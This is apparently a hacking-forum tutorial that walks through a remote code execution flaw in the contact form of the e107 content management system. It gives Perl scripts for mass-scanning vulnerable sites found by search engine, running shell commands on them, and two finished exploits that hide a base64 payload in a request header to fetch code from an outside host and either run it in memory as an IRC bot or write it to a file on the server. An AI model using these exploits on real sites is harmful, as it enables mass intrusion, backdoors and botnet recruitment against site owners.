This is E107. It is a content management system. Take a look at their website, nothing special. How popular is it? GOOGLE! Almost every forum, blog, whatever uses the "powered by xxxxx" in the footer. So open up google and search for "Powered by e107". You'll see 18 million results, pretty popular. The version(s) I'm going to be talking about today is v 0.7.20 and lower. Essentially the problem here is that the code behind the contact page isn't sanitizing the inputs sent to the contact form correctly. This allows for what's called rce, or remote code execution. This is a bit different than what most of you skids are used to though. This is using POST instead of GET! The difference is that GET takes arguments literally off the url. like
http://site.com/index.php?shit=arguments&a...p=morearguments. POST does not, so all of you retards scanning for rfi's typing in ?=google.com won't find shit.
So with all of that said let's start destroying shit. You'll want a copy of e107 and a box that can host it. For my setup I'm using vmware with debian and lampp to host and cygwin to sploit with. You could easily use virtualbox or kvm or whatever you fancy for this.
Here's the download for the version we'll be using
http://sourceforge.net/projects/e107/files/e107/e107%20v0.7.20/e107_0.7.20_full.zip/download
It's very simple to set up. Just put it either in a directory or in the root and go to the web page, follow the directions, and you're done.
Now that we've gone over all of the basic shit, let's take a look at some code!
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
if(!$ARGV[0]) { die "usage: perl $0 <host>\n"; }
my $host = shift;
my $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
my $ua = LWP::UserAgent->new();
$ua->agent($useragent);
$ua->timeout(2);
my $req = HTTP::Request->new("POST", $host."contact.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=[php]echo \"BcP2Mzw2\"%3bdie()%3b[/php]&");
my $res = $ua->request($req);
if($res->is_success)
{
if($res->content =~ /BcP2Mzw2(.*)/s) { print "[+] ".$host."contact.php is vuln!\n";
}
}
What does this do? Simply put it checks to see if the contact.php file is vulnerable. Take a look at this line
$req->content("send-contactus=1&author_name=[php]echo \"BcP2Mzw2\"%3bdie()%3b[/php]&");
What this does is essentially just attempt to make the page spit out a random string (BcP2Mzw2) and then tells it to die.
if($res->content =~ /BcP2Mzw2(.*)/s) { print "[+] ".$host."contact.php is vuln!\n";
This is where we check for that random string and then print out the url if it was vulnerable. If not then no sense in spamming ourselves. This can be useful if you're trying to test a massive amount of sites... f/e you could simply run
cat biglistofurls.txt |xargs -i perl sploit.pl {}
That would literally test every site in the list and see if it's vuln and only print out the ones that are. Here's and example.
So how do we gather url's? Google, yahoo, bing, alltheweb etc. There's tons of scanners out there and if demand is high enough i'll update my old one that does all of the above sites and release it.
Now how do we exploit this? Well since we've already proven that we can run our own code on the box we can attempt to write a shell to file, or start up a php bot. Shells are everywhere, most are backdoored. I've always used irc bots since they'll run in memory and are just as efficient. Here's the code for one I made a while back. You might also want to check out pbot and a few derivatives.
http://zerodayexile.com/index.php?showtopic=150
Now how do we get this to run? Well first we need to know a few things. Can we write to the directory? The most simplistic way is to look. So we'll modify our exploit to list all files in the main htdocs directory and their permissions.
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
if(!$ARGV[0]) { die "usage: perl $0 <host>\n"; }
my $host = shift;
my $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
my $ua = LWP::UserAgent->new();
$ua->agent($useragent);
$ua->timeout(2);
my $req = HTTP::Request->new("POST", $host."contact.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=[php]system(\"ls -lh\")%3bdie()%3b[/php]&"); # system cmd
my $res = $ua->request($req);
if($res->is_success)
{
print $res->content;
}
Note that the system command in php will be blocked on a lot of hosts, but it doesn't hurt to try. If you're successful you'll get a bunch of html crap and at the bottom a list of files.
It looks like the idiot who owns this box chmodded everything to 777.... Which means we've got the ability to read, write, and destroy anything we want to. This is very useful for finding a file that you are allowed to write to in the instance where you do not have permissions to create a new file. Which can lead to more access.
Now, what if you don't want to, or can't, write to a file? Well php has a nice function called eval. Essentially what it does is allow you to execute code that stored in a variable. So if $shit = "echo 'crap';"; then eval($shit); would print out "crap"! Another useful tool is file_get_contents. It works exactly like it sounds.
$var = file_get_contents("http://shit.com/tbiz.txt");
This would get the file tbiz.txt and store the contents in $var. So, how does this help? Well if you store a php irc bot in tbiz.txt and then use eval to execute it you've completely bypassed writing to a file.
Now I'll leave you with the two finished exploits. I've added in base64 encoding for security, anti-skid stuff, and few other things. If you think I've skipped over anything or messed up somewhere please feel free to help.
Run from memory
#!/usr/bin/perl
use MIME::Base64;
use LWP::Simple;
use LWP::UserAgent;
if(!$ARGV[0]) { die "usage: perl $0 <host>\n"; }
my $host = shift;
my $payload = '$var = file_get_contents("http://shit.com/tbiz.txt")\;eval($var)\;';
my $base64payload = encode_base64($payload, "");
my $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
my $ua = LWP::UserAgent->new();
$ua->agent($useragent);
$ua->timeout(2);
my $req = HTTP::Request->new("POST", $host."contact.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=[php]echo \"BcP\".\"2Mzw2\"%3beval(base64_decode(%24_SERVER[HTTP_ACCEPT]))%3bdie()%3b[/php]&");
$req->header(Accept => $base64payload);
my $res = $ua->request($req);
if($res->is_success)
{
if($res->content =~ /BcP2Mzw2(.*)/s) { print "[+] ".$host."contact.php is vuln!\n";
}
}
Write to file
#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;
use LWP::Simple;
use LWP::UserAgent;
if(!$ARGV[0]) { die "usage: perl $0 <host>\n"; }
my $host = shift;
my $payload = '$var = file_get_contents("http://shit.com/dos.txt")\;$fp = fopen("fwriteq.php", "w")\;fwrite($fp,$var)\;fclose($fp)\;';
my $base64payload = encode_base64($payload, "");
my $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';
my $ua = LWP::UserAgent->new();
$ua->agent($useragent);
$ua->timeout(3);
my $req = HTTP::Request->new("POST", $host."contact.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=[php]echo \"BcP\".\"2Mzw2\"%3beval(base64_decode(%24_SERVER[HTTP_ACCEPT]))%3bdie()%3b[/php]&");
$req->header(Accept => $base64payload);
my $res = $ua->request($req);
if($res->is_success)
{
if($res->content =~ /BcP2Mzw2(.*)/s) { print "[+] ".$host."contact.php is vuln!\n";
}
}
~Tully